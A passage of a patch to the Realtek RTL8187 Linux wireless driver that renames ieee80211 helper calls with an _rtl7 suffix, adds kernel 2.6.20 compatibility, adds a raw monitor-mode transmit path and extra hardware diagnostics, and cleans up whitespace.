ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1120,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1134,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1155,32 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + } + else + { + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1190,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1205,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1220,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1229,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,30 +1237,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1228,7 +1270,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1291,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1349,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1360,16 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1381,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,8 +1394,8 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1365,32 +1407,32 @@ priv->stats.txlpdrop++; return -1; } - - + + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1441,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1463,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1480,54 @@ } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1536,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1547,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1568,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1595,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1622,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,9 +1663,9 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps @@ -1622,23 +1673,27 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1710,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1770,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1818,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1827,64 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1901,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1936,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +1965,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2055,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2121,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2144,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2158,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2202,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2341,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2359,17 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); - + struct iwreq *wrq = (struct iwreq *)rq; - + int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2378,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2321,9 +2390,9 @@ int status,len,flen; struct sk_buff *skb; u32 *desc; - + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats 